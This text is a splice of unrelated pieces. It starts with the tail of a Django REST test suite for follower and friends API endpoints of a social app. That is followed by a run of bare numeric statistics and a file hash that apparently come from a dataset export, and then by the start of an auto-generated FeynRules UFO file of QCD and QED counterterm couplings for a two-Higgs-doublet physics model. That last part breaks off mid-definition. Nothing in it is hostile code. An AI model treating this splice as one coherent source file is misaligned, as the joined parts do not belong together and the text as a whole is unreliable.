res = self.client.delete('/api/author/hello/followers/88f1df52-4b43-11e9-910f-b8ca3a9b9fbb/' )
self.assertEqual(res.status_code, status.HTTP_401_UNAUTHORIZED)
def test_unfollowing_user_admin_approval(self):
"Test deleting follower endpoint is safeguard by adminApproval"
authorB = create_author(
username='abc002',
password='abcpwd',
adminApproval=False,
id=uuid.UUID('88f1df52-4b43-11e9-910f-b8ca3a9b9fbb'),
)
self.client.force_authenticate(user=authorB)
res = self.client.delete('/api/author/77f1df52-4b43-11e9-910f-b8ca3a9b9f3e/followers/88f1df52-4b43-11e9-910f-b8ca3a9b9fbb/' )
self.assertEqual(res.status_code, status.HTTP_401_UNAUTHORIZED)
def test_deleting_follower_endpoint_check_foreign_id_with_loggedin_user(self):
"Test to ensure user login as the foreign id before deleting follower from other author"
authorB = create_author(
username='abc002',
password='abcpwd',
adminApproval=True,
id=uuid.UUID('88f1df52-4b43-11e9-910f-b8ca3a9b9fbb'),
)
authorA = models.Followers.objects.get(author=self.authorA)
authorA.followers.add(authorB)
self.client.force_authenticate(user=authorB)
res = self.client.delete('/api/author/77f1df52-4b43-11e9-910f-b8ca3a9b9f3e/followers/88f1df52-4b43-11e9-910f-b8ca3a9b9fcc/' )
self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST)
def test_deleting_unexisting_follower(self):
"Test return error is remote author is trying to unfollow local author that they are not following"
authorB = create_author(
username='abc002',
password='abcpwd',
adminApproval=True,
id=uuid.UUID('88f1df52-4b43-11e9-910f-b8ca3a9b9fbb'),
)
authorA = models.Followers.objects.get(author=self.authorA)
authorA.followers.add(authorB)
self.client.force_authenticate(user=authorB)
res = self.client.delete('/api/author/77f1df52-4b43-11e9-910f-b8ca3a9b9f3e/followers/b8ca3a9b9fcc/' )
self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST)
def test_deleting_remote_follower(self):
"Test return true for remote author to unfollow local"
authorB = create_author(
username='abc002',
password='abcpwd',
adminApproval=True,
id=uuid.UUID('88f1df52-4b43-11e9-910f-b8ca3a9b9fbb'),
)
remote_author_payload = {
"type":"author",
"id":"11111111-4b43-11e9-910f-b8ca3a9b9f3e",
"url":"http://team6/api/11111111-4b43-11e9-910f-b8ca3a9b9f3e",
"host":"http://team6/",
"displayName":"Greg Johnson",
"github": "http://github.com/gjohnson"
}
delete_payload = {'host': 'https://konnection-server.herokuapp.com/'}
author = models.Followers.objects.get(author=self.authorA)
self.client.force_authenticate(user=authorB)
# Create Remote user
author.remoteFollowers['11111111-4b43-11e9-910f-b8ca3a9b9f3e'] = remote_author_payload
author.save()
res = self.client.delete('/api/author/77f1df52-4b43-11e9-910f-b8ca3a9b9f3e/followers/11111111-4b43-11e9-910f-b8ca3a9b9f3e/', data=delete_payload )
self.assertEqual(res.status_code, status.HTTP_200_OK)
class TestFriendsListEndpoint(TestCase):
"""Test API(GET):://api/author/{id}/friends/"""
def setUp(self):
self.client = APIClient()
self.author_a = create_author(
username='abc001',
password='abcpwd',
adminApproval=True,
id=uuid.UUID('77f1df52-4b43-11e9-910f-b8ca3a9b9f3e'),
)
def test_author_no_friends(self):
"Test returns an empty list if no friends"
self.client.force_authenticate(user=self.author_a)
res = self.client.get(f'/api/author/{self.author_a.id}/friends/')
self.assertEqual(res.status_code, status.HTTP_200_OK)
self.assertEqual(len(res.data['items']), 0)
def test_author_friends(self):
"Test returns a list of local and remote friends"
author_b = create_author(
username='abc002',
password='abcpwd',
adminApproval=True,
id=uuid.UUID('87f1df52-4b43-11e9-910f-b8ca3a9b9f3d'),
)
remote_author_c_payload = {
"type":"author",
"id":"11111111-4b43-11e9-910f-b8ca3a9b9f3e",
"url":"http://team6/api/11111111-4b43-11e9-910f-b8ca3a9b9f3e",
"host":"http://team6/",
"displayName":"Greg Johnson",
"github": "http://github.com/gjohnson"
}
author_d = create_author(
username='abc003',
password='abcpwd',
adminApproval=True,
id=uuid.UUID('67f1df52-4b43-11e9-910f-b8ca3a9b9f3a'),
)
# Creating local friends
author_a_followers = models.Followers.objects.get(author=self.author_a)
author_a_followers.followers.add(author_b)
author_a_followers.followers.add(author_d)
author_a_followers.remoteFollowers['11111111-4b43-11e9-910f-b8ca3a9b9f3e'] = remote_author_c_payload
author_a_followers.save()
# Creating remote friendsTest returns a list of local and remote friends
author_a_following = models.Following.objects.get(author=self.author_a)
author_a_following.following.add(author_b)
author_a_following.remote_following['11111111-4b43-11e9-910f-b8ca3a9b9f3e'] = remote_author_c_payload
author_a_following.save()
self.client.force_authenticate(user=self.author_a)
res = self.client.get(f'/api/author/{self.author_a.id}/friends/')
self.assertEqual(res.status_code, status.HTTP_200_OK)
self.assertEqual(len(res.data['items']), 2)
def test_invalid_author_friends(self):
"Test searching friends for invalid author"
self.client.force_authenticate(user=self.author_a)
res = self.client.get(f'/api/author/aaaa/friends/')
self.assertEqual(res.status_code, status.HTTP_404_NOT_FOUND)
| 38.21301
| 154
| 0.620181
| 3,254
| 29,959
| 5.568224
| 0.061156
| 0.03753
| 0.056295
| 0.058281
| 0.898173
| 0.875545
| 0.850047
| 0.839671
| 0.812683
| 0.805839
| 0
| 0.091238
| 0.261357
| 29,959
| 783
| 155
| 38.261814
| 0.727552
| 0.089522
| 0
| 0.672026
| 0
| 0.019293
| 0.295059
| 0.134913
| 0
| 0
| 0
| 0
| 0.069132
| 1
| 0.07074
| false
| 0.057878
| 0.011254
| 0
| 0.093248
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 7
|
8626daaa12f3a86018de52b57a1014740ab3b9b6
| 52,261
|
py
|
Python
|
UFOs/Type-FL/2HDM_CPC_Type-FL_NLO_cba_UFO/CT_couplings.py
|
ycwu1030/2HDM_FR
|
599490fd785cb67e3e4ffad1fa7536906ac8bcd5
|
[
"MIT"
] | 1
|
2019-09-04T01:44:29.000Z
|
2019-09-04T01:44:29.000Z
|
UFOs/Type-FL/2HDM_CPC_Type-FL_NLO_cba_UFO/CT_couplings.py
|
ycwu1030/2HDM_FR
|
599490fd785cb67e3e4ffad1fa7536906ac8bcd5
|
[
"MIT"
] | null | null | null |
UFOs/Type-FL/2HDM_CPC_Type-FL_NLO_cba_UFO/CT_couplings.py
|
ycwu1030/2HDM_FR
|
599490fd785cb67e3e4ffad1fa7536906ac8bcd5
|
[
"MIT"
] | null | null | null |
# This file was automatically created by FeynRules 2.3.36
# Mathematica version: 11.3.0 for Mac OS X x86 (64-bit) (March 7, 2018)
# Date: Fri 13 Aug 2021 16:39:40
from object_library import all_couplings, Coupling
from function_library import complexconjugate, re, im, csc, sec, acsc, asec, cot
R2GC_161_1 = Coupling(name = 'R2GC_161_1',
value = '(ee*complex(0,1)*G**2*sw)/(9.*cw*cmath.pi**2)',
order = {'QCD':2,'QED':1})
R2GC_162_2 = Coupling(name = 'R2GC_162_2',
value = '-(ee*complex(0,1)*G**2*sw)/(18.*cw*cmath.pi**2)',
order = {'QCD':2,'QED':1})
R2GC_165_3 = Coupling(name = 'R2GC_165_3',
value = '-(complex(0,1)*G**2*MB**2)/(8.*cmath.pi**2)',
order = {'QCD':2})
R2GC_165_4 = Coupling(name = 'R2GC_165_4',
value = '-(complex(0,1)*G**2*MT**2)/(8.*cmath.pi**2)',
order = {'QCD':2})
R2GC_166_5 = Coupling(name = 'R2GC_166_5',
value = '(cba*complex(0,1)*G**2*MB*sb*yb)/(8.*cb*cmath.pi**2*cmath.sqrt(2)) - (complex(0,1)*G**2*MB*sba*yb)/(8.*cmath.pi**2*cmath.sqrt(2))',
order = {'QCD':2,'QED':1})
R2GC_166_6 = Coupling(name = 'R2GC_166_6',
value = '-(cb*cba*complex(0,1)*G**2*MT*yt)/(8.*cmath.pi**2*sb*cmath.sqrt(2)) - (complex(0,1)*G**2*MT*sba*yt)/(8.*cmath.pi**2*cmath.sqrt(2))',
order = {'QCD':2,'QED':1})
R2GC_167_7 = Coupling(name = 'R2GC_167_7',
value = '-(cba*complex(0,1)*G**2*MB*yb)/(8.*cmath.pi**2*cmath.sqrt(2)) - (complex(0,1)*G**2*MB*sb*sba*yb)/(8.*cb*cmath.pi**2*cmath.sqrt(2))',
order = {'QCD':2,'QED':1})
R2GC_167_8 = Coupling(name = 'R2GC_167_8',
value = '-(cba*complex(0,1)*G**2*MT*yt)/(8.*cmath.pi**2*cmath.sqrt(2)) + (cb*complex(0,1)*G**2*MT*sba*yt)/(8.*cmath.pi**2*sb*cmath.sqrt(2))',
order = {'QCD':2,'QED':1})
R2GC_168_9 = Coupling(name = 'R2GC_168_9',
value = '-(complex(0,1)*G**2*yb**2)/(16.*cmath.pi**2)',
order = {'QCD':2,'QED':2})
R2GC_168_10 = Coupling(name = 'R2GC_168_10',
value = '-(complex(0,1)*G**2*yt**2)/(16.*cmath.pi**2)',
order = {'QCD':2,'QED':2})
R2GC_169_11 = Coupling(name = 'R2GC_169_11',
value = '-(complex(0,1)*G**2*sb**2*yb**2)/(16.*cb**2*cmath.pi**2)',
order = {'QCD':2,'QED':2})
R2GC_169_12 = Coupling(name = 'R2GC_169_12',
value = '-(cb**2*complex(0,1)*G**2*yt**2)/(16.*cmath.pi**2*sb**2)',
order = {'QCD':2,'QED':2})
R2GC_170_13 = Coupling(name = 'R2GC_170_13',
value = '(complex(0,1)*G**2*sb*yb**2)/(16.*cb*cmath.pi**2)',
order = {'QCD':2,'QED':2})
R2GC_170_14 = Coupling(name = 'R2GC_170_14',
value = '-(cb*complex(0,1)*G**2*yt**2)/(16.*cmath.pi**2*sb)',
order = {'QCD':2,'QED':2})
R2GC_171_15 = Coupling(name = 'R2GC_171_15',
value = '-(cba**2*complex(0,1)*G**2*sb**2*yb**2)/(16.*cb**2*cmath.pi**2) + (cba*complex(0,1)*G**2*sb*sba*yb**2)/(8.*cb*cmath.pi**2) - (complex(0,1)*G**2*sba**2*yb**2)/(16.*cmath.pi**2)',
order = {'QCD':2,'QED':2})
R2GC_171_16 = Coupling(name = 'R2GC_171_16',
value = '-(cb**2*cba**2*complex(0,1)*G**2*yt**2)/(16.*cmath.pi**2*sb**2) - (cb*cba*complex(0,1)*G**2*sba*yt**2)/(8.*cmath.pi**2*sb) - (complex(0,1)*G**2*sba**2*yt**2)/(16.*cmath.pi**2)',
order = {'QCD':2,'QED':2})
R2GC_172_17 = Coupling(name = 'R2GC_172_17',
value = '-(cba**2*complex(0,1)*G**2*yb**2)/(16.*cmath.pi**2) - (cba*complex(0,1)*G**2*sb*sba*yb**2)/(8.*cb*cmath.pi**2) - (complex(0,1)*G**2*sb**2*sba**2*yb**2)/(16.*cb**2*cmath.pi**2)',
order = {'QCD':2,'QED':2})
R2GC_172_18 = Coupling(name = 'R2GC_172_18',
value = '-(cba**2*complex(0,1)*G**2*yt**2)/(16.*cmath.pi**2) + (cb*cba*complex(0,1)*G**2*sba*yt**2)/(8.*cmath.pi**2*sb) - (cb**2*complex(0,1)*G**2*sba**2*yt**2)/(16.*cmath.pi**2*sb**2)',
order = {'QCD':2,'QED':2})
R2GC_173_19 = Coupling(name = 'R2GC_173_19',
value = '(cba**2*complex(0,1)*G**2*sb*yb**2)/(16.*cb*cmath.pi**2) - (cba*complex(0,1)*G**2*sba*yb**2)/(16.*cmath.pi**2) + (cba*complex(0,1)*G**2*sb**2*sba*yb**2)/(16.*cb**2*cmath.pi**2) - (complex(0,1)*G**2*sb*sba**2*yb**2)/(16.*cb*cmath.pi**2)',
order = {'QCD':2,'QED':2})
R2GC_173_20 = Coupling(name = 'R2GC_173_20',
value = '-(cb*cba**2*complex(0,1)*G**2*yt**2)/(16.*cmath.pi**2*sb) - (cba*complex(0,1)*G**2*sba*yt**2)/(16.*cmath.pi**2) + (cb**2*cba*complex(0,1)*G**2*sba*yt**2)/(16.*cmath.pi**2*sb**2) + (cb*complex(0,1)*G**2*sba**2*yt**2)/(16.*cmath.pi**2*sb)',
order = {'QCD':2,'QED':2})
R2GC_174_21 = Coupling(name = 'R2GC_174_21',
value = '(ee**2*complex(0,1)*G**2)/(216.*cmath.pi**2)',
order = {'QCD':2,'QED':2})
R2GC_174_22 = Coupling(name = 'R2GC_174_22',
value = '(ee**2*complex(0,1)*G**2)/(54.*cmath.pi**2)',
order = {'QCD':2,'QED':2})
R2GC_175_23 = Coupling(name = 'R2GC_175_23',
value = '-(ee*complex(0,1)*G**3)/(144.*cmath.pi**2)',
order = {'QCD':3,'QED':1})
R2GC_175_24 = Coupling(name = 'R2GC_175_24',
value = '(ee*complex(0,1)*G**3)/(72.*cmath.pi**2)',
order = {'QCD':3,'QED':1})
R2GC_176_25 = Coupling(name = 'R2GC_176_25',
value = '(cw*ee**2*complex(0,1)*G**2)/(288.*cmath.pi**2*sw) - (ee**2*complex(0,1)*G**2*sw)/(864.*cw*cmath.pi**2)',
order = {'QCD':2,'QED':2})
R2GC_176_26 = Coupling(name = 'R2GC_176_26',
value = '(cw*ee**2*complex(0,1)*G**2)/(144.*cmath.pi**2*sw) - (5*ee**2*complex(0,1)*G**2*sw)/(432.*cw*cmath.pi**2)',
order = {'QCD':2,'QED':2})
R2GC_177_27 = Coupling(name = 'R2GC_177_27',
value = '-(cw*ee*complex(0,1)*G**3)/(192.*cmath.pi**2*sw) + (ee*complex(0,1)*G**3*sw)/(576.*cw*cmath.pi**2)',
order = {'QCD':3,'QED':1})
R2GC_177_28 = Coupling(name = 'R2GC_177_28',
value = '(cw*ee*complex(0,1)*G**3)/(192.*cmath.pi**2*sw) - (5*ee*complex(0,1)*G**3*sw)/(576.*cw*cmath.pi**2)',
order = {'QCD':3,'QED':1})
R2GC_178_29 = Coupling(name = 'R2GC_178_29',
value = '(-3*cw*ee*complex(0,1)*G**3)/(64.*cmath.pi**2*sw) - (3*ee*complex(0,1)*G**3*sw)/(64.*cw*cmath.pi**2)',
order = {'QCD':3,'QED':1})
R2GC_178_30 = Coupling(name = 'R2GC_178_30',
value = '(3*cw*ee*complex(0,1)*G**3)/(64.*cmath.pi**2*sw) + (3*ee*complex(0,1)*G**3*sw)/(64.*cw*cmath.pi**2)',
order = {'QCD':3,'QED':1})
R2GC_179_31 = Coupling(name = 'R2GC_179_31',
value = '(ee**2*complex(0,1)*G**2)/(288.*cmath.pi**2) + (cw**2*ee**2*complex(0,1)*G**2)/(192.*cmath.pi**2*sw**2) + (5*ee**2*complex(0,1)*G**2*sw**2)/(1728.*cw**2*cmath.pi**2)',
order = {'QCD':2,'QED':2})
R2GC_179_32 = Coupling(name = 'R2GC_179_32',
value = '-(ee**2*complex(0,1)*G**2)/(288.*cmath.pi**2) + (cw**2*ee**2*complex(0,1)*G**2)/(192.*cmath.pi**2*sw**2) + (17*ee**2*complex(0,1)*G**2*sw**2)/(1728.*cw**2*cmath.pi**2)',
order = {'QCD':2,'QED':2})
R2GC_180_33 = Coupling(name = 'R2GC_180_33',
value = '-(cw*ee*complex(0,1)*G**2)/(12.*cmath.pi**2*sw) + (ee*complex(0,1)*G**2*sw)/(36.*cw*cmath.pi**2)',
order = {'QCD':2,'QED':1})
R2GC_181_34 = Coupling(name = 'R2GC_181_34',
value = '(cw*ee*complex(0,1)*G**2)/(12.*cmath.pi**2*sw) + (ee*complex(0,1)*G**2*sw)/(36.*cw*cmath.pi**2)',
order = {'QCD':2,'QED':1})
R2GC_183_35 = Coupling(name = 'R2GC_183_35',
value = '-(complex(0,1)*G**2*yb**2)/(16.*cmath.pi**2) - (complex(0,1)*G**2*yt**2)/(16.*cmath.pi**2)',
order = {'QCD':2,'QED':2})
R2GC_184_36 = Coupling(name = 'R2GC_184_36',
value = '-(complex(0,1)*G**2*sb**2*yb**2)/(16.*cb**2*cmath.pi**2) - (cb**2*complex(0,1)*G**2*yt**2)/(16.*cmath.pi**2*sb**2)',
order = {'QCD':2,'QED':2})
R2GC_185_37 = Coupling(name = 'R2GC_185_37',
value = '(complex(0,1)*G**2*sb*yb**2)/(16.*cb*cmath.pi**2) - (cb*complex(0,1)*G**2*yt**2)/(16.*cmath.pi**2*sb)',
order = {'QCD':2,'QED':2})
R2GC_187_38 = Coupling(name = 'R2GC_187_38',
value = '(ee**2*complex(0,1)*G**2)/(96.*cmath.pi**2*sw**2)',
order = {'QCD':2,'QED':2})
R2GC_187_39 = Coupling(name = 'R2GC_187_39',
value = '(CKM2x1*ee**2*complex(0,1)*G**2*complexconjugate(CKM2x1))/(96.*cmath.pi**2*sw**2)',
order = {'QCD':2,'QED':2})
R2GC_187_40 = Coupling(name = 'R2GC_187_40',
value = '(CKM2x2*ee**2*complex(0,1)*G**2*complexconjugate(CKM2x2))/(96.*cmath.pi**2*sw**2)',
order = {'QCD':2,'QED':2})
R2GC_187_41 = Coupling(name = 'R2GC_187_41',
value = '(CKM1x1*ee**2*complex(0,1)*G**2*complexconjugate(CKM1x1))/(96.*cmath.pi**2*sw**2)',
order = {'QCD':2,'QED':2})
R2GC_187_42 = Coupling(name = 'R2GC_187_42',
value = '(CKM1x2*ee**2*complex(0,1)*G**2*complexconjugate(CKM1x2))/(96.*cmath.pi**2*sw**2)',
order = {'QCD':2,'QED':2})
R2GC_198_43 = Coupling(name = 'R2GC_198_43',
value = '-G**4/(192.*cmath.pi**2)',
order = {'QCD':4})
R2GC_198_44 = Coupling(name = 'R2GC_198_44',
value = 'G**4/(64.*cmath.pi**2)',
order = {'QCD':4})
R2GC_199_45 = Coupling(name = 'R2GC_199_45',
value = '-(complex(0,1)*G**4)/(192.*cmath.pi**2)',
order = {'QCD':4})
R2GC_199_46 = Coupling(name = 'R2GC_199_46',
value = '(complex(0,1)*G**4)/(64.*cmath.pi**2)',
order = {'QCD':4})
R2GC_200_47 = Coupling(name = 'R2GC_200_47',
value = '(complex(0,1)*G**4)/(192.*cmath.pi**2)',
order = {'QCD':4})
R2GC_200_48 = Coupling(name = 'R2GC_200_48',
value = '-(complex(0,1)*G**4)/(64.*cmath.pi**2)',
order = {'QCD':4})
R2GC_201_49 = Coupling(name = 'R2GC_201_49',
value = '-(complex(0,1)*G**4)/(48.*cmath.pi**2)',
order = {'QCD':4})
R2GC_202_50 = Coupling(name = 'R2GC_202_50',
value = '(complex(0,1)*G**4)/(288.*cmath.pi**2)',
order = {'QCD':4})
R2GC_202_51 = Coupling(name = 'R2GC_202_51',
value = '-(complex(0,1)*G**4)/(32.*cmath.pi**2)',
order = {'QCD':4})
R2GC_203_52 = Coupling(name = 'R2GC_203_52',
value = '-(complex(0,1)*G**4)/(16.*cmath.pi**2)',
order = {'QCD':4})
R2GC_203_53 = Coupling(name = 'R2GC_203_53',
value = '(complex(0,1)*G**4)/(4.*cmath.pi**2)',
order = {'QCD':4})
R2GC_204_54 = Coupling(name = 'R2GC_204_54',
value = '(-3*complex(0,1)*G**4)/(64.*cmath.pi**2)',
order = {'QCD':4})
R2GC_204_55 = Coupling(name = 'R2GC_204_55',
value = '(-23*complex(0,1)*G**4)/(64.*cmath.pi**2)',
order = {'QCD':4})
R2GC_205_56 = Coupling(name = 'R2GC_205_56',
value = '(ee*complex(0,1)*G**2)/(18.*cmath.pi**2)',
order = {'QCD':2,'QED':1})
R2GC_206_57 = Coupling(name = 'R2GC_206_57',
value = '-(complex(0,1)*G**3)/(6.*cmath.pi**2)',
order = {'QCD':3})
R2GC_207_58 = Coupling(name = 'R2GC_207_58',
value = '(complex(0,1)*G**2)/(12.*cmath.pi**2)',
order = {'QCD':2})
R2GC_208_59 = Coupling(name = 'R2GC_208_59',
value = '-(ee*complex(0,1)*G**2)/(9.*cmath.pi**2)',
order = {'QCD':2,'QED':1})
R2GC_225_60 = Coupling(name = 'R2GC_225_60',
value = '-(CKM2x1*ee*complex(0,1)*G**2)/(6.*cmath.pi**2*sw*cmath.sqrt(2))',
order = {'QCD':2,'QED':1})
R2GC_226_61 = Coupling(name = 'R2GC_226_61',
value = '-(ee*complex(0,1)*G**2*complexconjugate(CKM2x1))/(6.*cmath.pi**2*sw*cmath.sqrt(2))',
order = {'QCD':2,'QED':1})
R2GC_227_62 = Coupling(name = 'R2GC_227_62',
value = '-(CKM2x2*ee*complex(0,1)*G**2)/(6.*cmath.pi**2*sw*cmath.sqrt(2))',
order = {'QCD':2,'QED':1})
R2GC_228_63 = Coupling(name = 'R2GC_228_63',
value = '-(ee*complex(0,1)*G**2*complexconjugate(CKM2x2))/(6.*cmath.pi**2*sw*cmath.sqrt(2))',
order = {'QCD':2,'QED':1})
R2GC_229_64 = Coupling(name = 'R2GC_229_64',
value = '-(CKM1x1*ee*complex(0,1)*G**2)/(6.*cmath.pi**2*sw*cmath.sqrt(2))',
order = {'QCD':2,'QED':1})
R2GC_230_65 = Coupling(name = 'R2GC_230_65',
value = '-(ee*complex(0,1)*G**2*complexconjugate(CKM1x1))/(6.*cmath.pi**2*sw*cmath.sqrt(2))',
order = {'QCD':2,'QED':1})
R2GC_231_66 = Coupling(name = 'R2GC_231_66',
value = '-(CKM1x2*ee*complex(0,1)*G**2)/(6.*cmath.pi**2*sw*cmath.sqrt(2))',
order = {'QCD':2,'QED':1})
R2GC_232_67 = Coupling(name = 'R2GC_232_67',
value = '-(ee*complex(0,1)*G**2*complexconjugate(CKM1x2))/(6.*cmath.pi**2*sw*cmath.sqrt(2))',
order = {'QCD':2,'QED':1})
R2GC_236_68 = Coupling(name = 'R2GC_236_68',
value = '(complex(0,1)*G**2*MB)/(6.*cmath.pi**2)',
order = {'QCD':2})
R2GC_239_69 = Coupling(name = 'R2GC_239_69',
value = '-(G**2*yb)/(3.*cmath.pi**2*cmath.sqrt(2))',
order = {'QCD':2,'QED':1})
R2GC_240_70 = Coupling(name = 'R2GC_240_70',
value = '(G**2*sb*yb)/(3.*cb*cmath.pi**2*cmath.sqrt(2))',
order = {'QCD':2,'QED':1})
R2GC_241_71 = Coupling(name = 'R2GC_241_71',
value = '-(cba*complex(0,1)*G**2*sb*yb)/(3.*cb*cmath.pi**2*cmath.sqrt(2)) + (complex(0,1)*G**2*sba*yb)/(3.*cmath.pi**2*cmath.sqrt(2))',
order = {'QCD':2,'QED':1})
R2GC_242_72 = Coupling(name = 'R2GC_242_72',
value = '(cba*complex(0,1)*G**2*yb)/(3.*cmath.pi**2*cmath.sqrt(2)) + (complex(0,1)*G**2*sb*sba*yb)/(3.*cb*cmath.pi**2*cmath.sqrt(2))',
order = {'QCD':2,'QED':1})
R2GC_243_73 = Coupling(name = 'R2GC_243_73',
value = '(complex(0,1)*G**2)/(48.*cmath.pi**2)',
order = {'QCD':2})
R2GC_243_74 = Coupling(name = 'R2GC_243_74',
value = '(3*complex(0,1)*G**2)/(32.*cmath.pi**2)',
order = {'QCD':2})
R2GC_244_75 = Coupling(name = 'R2GC_244_75',
value = '-(complex(0,1)*G**2)/(16.*cmath.pi**2)',
order = {'QCD':2})
R2GC_245_76 = Coupling(name = 'R2GC_245_76',
value = 'G**3/(24.*cmath.pi**2)',
order = {'QCD':3})
R2GC_245_77 = Coupling(name = 'R2GC_245_77',
value = '(11*G**3)/(64.*cmath.pi**2)',
order = {'QCD':3})
R2GC_246_78 = Coupling(name = 'R2GC_246_78',
value = '(5*complex(0,1)*G**4)/(48.*cmath.pi**2)',
order = {'QCD':4})
R2GC_246_79 = Coupling(name = 'R2GC_246_79',
value = '(19*complex(0,1)*G**4)/(32.*cmath.pi**2)',
order = {'QCD':4})
R2GC_247_80 = Coupling(name = 'R2GC_247_80',
value = '(23*complex(0,1)*G**4)/(192.*cmath.pi**2)',
order = {'QCD':4})
R2GC_248_81 = Coupling(name = 'R2GC_248_81',
value = '(31*complex(0,1)*G**4)/(64.*cmath.pi**2)',
order = {'QCD':4})
R2GC_249_82 = Coupling(name = 'R2GC_249_82',
value = '(-17*complex(0,1)*G**4)/(64.*cmath.pi**2)',
order = {'QCD':4})
R2GC_250_83 = Coupling(name = 'R2GC_250_83',
value = '(-7*complex(0,1)*G**4)/(32.*cmath.pi**2)',
order = {'QCD':4})
R2GC_251_84 = Coupling(name = 'R2GC_251_84',
value = '(7*complex(0,1)*G**4)/(64.*cmath.pi**2)',
order = {'QCD':4})
R2GC_255_85 = Coupling(name = 'R2GC_255_85',
value = '(complex(0,1)*G**2*MT)/(6.*cmath.pi**2)',
order = {'QCD':2})
R2GC_256_86 = Coupling(name = 'R2GC_256_86',
value = '-(ee*complex(0,1)*G**2)/(6.*cmath.pi**2*sw*cmath.sqrt(2))',
order = {'QCD':2,'QED':1})
R2GC_259_87 = Coupling(name = 'R2GC_259_87',
value = '(complex(0,1)*G**2*yb)/(3.*cmath.pi**2)',
order = {'QCD':2,'QED':1})
R2GC_260_88 = Coupling(name = 'R2GC_260_88',
value = '-(complex(0,1)*G**2*sb*yb)/(3.*cb*cmath.pi**2)',
order = {'QCD':2,'QED':1})
R2GC_261_89 = Coupling(name = 'R2GC_261_89',
value = '-(complex(0,1)*G**2*yt)/(3.*cmath.pi**2)',
order = {'QCD':2,'QED':1})
R2GC_262_90 = Coupling(name = 'R2GC_262_90',
value = '(G**2*yt)/(3.*cmath.pi**2*cmath.sqrt(2))',
order = {'QCD':2,'QED':1})
R2GC_263_91 = Coupling(name = 'R2GC_263_91',
value = '-(cb*complex(0,1)*G**2*yt)/(3.*cmath.pi**2*sb)',
order = {'QCD':2,'QED':1})
R2GC_264_92 = Coupling(name = 'R2GC_264_92',
value = '(cb*G**2*yt)/(3.*cmath.pi**2*sb*cmath.sqrt(2))',
order = {'QCD':2,'QED':1})
R2GC_265_93 = Coupling(name = 'R2GC_265_93',
value = '(cb*cba*complex(0,1)*G**2*yt)/(3.*cmath.pi**2*sb*cmath.sqrt(2)) + (complex(0,1)*G**2*sba*yt)/(3.*cmath.pi**2*cmath.sqrt(2))',
order = {'QCD':2,'QED':1})
R2GC_266_94 = Coupling(name = 'R2GC_266_94',
value = '(cba*complex(0,1)*G**2*yt)/(3.*cmath.pi**2*cmath.sqrt(2)) - (cb*complex(0,1)*G**2*sba*yt)/(3.*cmath.pi**2*sb*cmath.sqrt(2))',
order = {'QCD':2,'QED':1})
UVGC_188_1 = Coupling(name = 'UVGC_188_1',
value = {-1:'(51*G**3)/(128.*cmath.pi**2)'},
order = {'QCD':3})
UVGC_189_2 = Coupling(name = 'UVGC_189_2',
value = {-1:'G**3/(128.*cmath.pi**2)'},
order = {'QCD':3})
UVGC_190_3 = Coupling(name = 'UVGC_190_3',
value = {-1:'-(complex(0,1)*G**2)/(12.*cmath.pi**2)'},
order = {'QCD':2})
UVGC_191_4 = Coupling(name = 'UVGC_191_4',
value = {-1:'(ee*complex(0,1)*G**2)/(18.*cmath.pi**2)'},
order = {'QCD':2,'QED':1})
UVGC_193_5 = Coupling(name = 'UVGC_193_5',
value = {-1:'-(ee*complex(0,1)*G**2)/(36.*cmath.pi**2)'},
order = {'QCD':2,'QED':1})
UVGC_198_6 = Coupling(name = 'UVGC_198_6',
value = {-1:'(3*G**4)/(512.*cmath.pi**2)'},
order = {'QCD':4})
UVGC_198_7 = Coupling(name = 'UVGC_198_7',
value = {-1:'(-3*G**4)/(512.*cmath.pi**2)'},
order = {'QCD':4})
UVGC_199_8 = Coupling(name = 'UVGC_199_8',
value = {-1:'(3*complex(0,1)*G**4)/(512.*cmath.pi**2)'},
order = {'QCD':4})
UVGC_199_9 = Coupling(name = 'UVGC_199_9',
value = {-1:'(-3*complex(0,1)*G**4)/(512.*cmath.pi**2)'},
order = {'QCD':4})
UVGC_201_10 = Coupling(name = 'UVGC_201_10',
value = {-1:'-(complex(0,1)*G**4)/(128.*cmath.pi**2)'},
order = {'QCD':4})
UVGC_201_11 = Coupling(name = 'UVGC_201_11',
value = {-1:'(complex(0,1)*G**4)/(128.*cmath.pi**2)'},
order = {'QCD':4})
UVGC_202_12 = Coupling(name = 'UVGC_202_12',
value = {-1:'(-3*complex(0,1)*G**4)/(256.*cmath.pi**2)'},
order = {'QCD':4})
UVGC_202_13 = Coupling(name = 'UVGC_202_13',
value = {-1:'(3*complex(0,1)*G**4)/(256.*cmath.pi**2)'},
order = {'QCD':4})
UVGC_203_14 = Coupling(name = 'UVGC_203_14',
value = {-1:'-(complex(0,1)*G**4)/(24.*cmath.pi**2)'},
order = {'QCD':4})
UVGC_203_15 = Coupling(name = 'UVGC_203_15',
value = {-1:'(47*complex(0,1)*G**4)/(128.*cmath.pi**2)'},
order = {'QCD':4})
UVGC_204_16 = Coupling(name = 'UVGC_204_16',
value = {-1:'(-253*complex(0,1)*G**4)/(512.*cmath.pi**2)'},
order = {'QCD':4})
UVGC_204_17 = Coupling(name = 'UVGC_204_17',
value = {-1:'(5*complex(0,1)*G**4)/(512.*cmath.pi**2)'},
order = {'QCD':4})
UVGC_205_18 = Coupling(name = 'UVGC_205_18',
value = {-1:'(ee*complex(0,1)*G**2)/(36.*cmath.pi**2)'},
order = {'QCD':2,'QED':1})
UVGC_206_19 = Coupling(name = 'UVGC_206_19',
value = {-1:'(-13*complex(0,1)*G**3)/(48.*cmath.pi**2)'},
order = {'QCD':3})
UVGC_207_20 = Coupling(name = 'UVGC_207_20',
value = {-1:'(complex(0,1)*G**2)/(12.*cmath.pi**2)'},
order = {'QCD':2})
UVGC_208_21 = Coupling(name = 'UVGC_208_21',
value = {-1:'-(ee*complex(0,1)*G**2)/(18.*cmath.pi**2)'},
order = {'QCD':2,'QED':1})
UVGC_209_22 = Coupling(name = 'UVGC_209_22',
value = {-1:'( 0 if MB else (complex(0,1)*G**3)/(48.*cmath.pi**2) )'},
order = {'QCD':3})
UVGC_209_23 = Coupling(name = 'UVGC_209_23',
value = {-1:'(complex(0,1)*G**3)/(48.*cmath.pi**2)'},
